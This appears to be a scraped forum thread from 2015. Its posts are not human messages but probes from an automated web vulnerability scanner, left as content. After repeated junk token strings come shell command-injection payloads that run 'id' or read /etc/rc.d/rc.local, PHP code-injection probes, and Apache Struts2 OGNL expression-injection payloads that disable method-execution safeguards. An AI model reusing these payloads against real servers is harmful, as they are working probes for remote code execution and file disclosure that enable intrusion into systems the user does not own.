发表于 2015-6-3 16:46:01
#0#ltzyx1#htgyx1#htgyx2#jmyx1#gjlyx1#fynyx1#wmeyx1#hmryx1#stbyx1#xysyx1#ltzyx2#wtjyx1#htgyx3#jxkyx2#gjlyx2#ynxyx1#splyx1#jxkyx1#xceyx1#ylsyx1#1#2#3#4#5#6#7#8#9#10#11#12#13#14#15#16#17#18#19
发表于 2015-6-3 16:46:01
#0#ltzyx1#htgyx1#htgyx2#jmyx1#gjlyx1#fynyx1#wmeyx1#hmryx1#stbyx1#xysyx1#ltzyx2#wtjyx1#htgyx3#jxkyx2#gjlyx2#ynxyx1#splyx1#jxkyx1#xceyx1#ylsyx1#1#2#3#4#5#6#7#8#9#10#11#12#13#14#15#16#17#18#19
发表于 2015-6-3 16:46:05
#0#ltzyx1#htgyx1#htgyx2#jmyx1#gjlyx1#fynyx1#wmeyx1#hmryx1#stbyx1#xysyx1#ltzyx2#wtjyx1#htgyx3#jxkyx2#gjlyx2#ynxyx1#splyx1#jxkyx1#xceyx1#ylsyx1#1#2#3#4#5#6#7#8#9#10#11#12#13#14#15#16#17#18#19
发表于 2015-6-3 16:46:05
#0#ltzyx1#htgyx1#htgyx2#jmyx1#gjlyx1#fynyx1#wmeyx1#hmryx1#stbyx1#xysyx1#ltzyx2#wtjyx1#htgyx3#jxkyx2#gjlyx2#ynxyx1#splyx1#jxkyx1#xceyx1#ylsyx1#1#2#3#4#5#6#7#8#9#10#11#12#13#14#15#16#17#18#19
发表于 2015-6-3 16:46:05
#0#ltzyx1#htgyx1#htgyx2#jmyx1#gjlyx1#fynyx1#wmeyx1#hmryx1#stbyx1#xysyx1#ltzyx2#wtjyx1#htgyx3#jxkyx2#gjlyx2#ynxyx1#splyx1#jxkyx1#xceyx1#ylsyx1#1#2#3#4#5#6#7#8#9#10#11#12#13#14#15#16#17#18#19
发表于 2015-6-3 16:48:22
1;cat /etc/rc.d/rc.local;
发表于 2015-6-3 16:48:22
1';cat /etc/rc.d/rc.local;'
发表于 2015-6-3 16:48:22
1";cat /etc/rc.d/rc.local;"
发表于 2015-6-3 16:48:23
/usr/bin/id;
发表于 2015-6-3 16:48:23
;/usr/bin/id;
发表于 2015-6-3 16:48:24
${@print(md5(812812))};
发表于 2015-6-3 16:48:24
string:{var_dump(md5(812812))}
发表于 2015-6-3 16:48:24
'];${@print(md5(812812))};//
发表于 2015-6-3 16:48:33
'+(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+'
发表于 2015-6-3 16:48:34
(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)
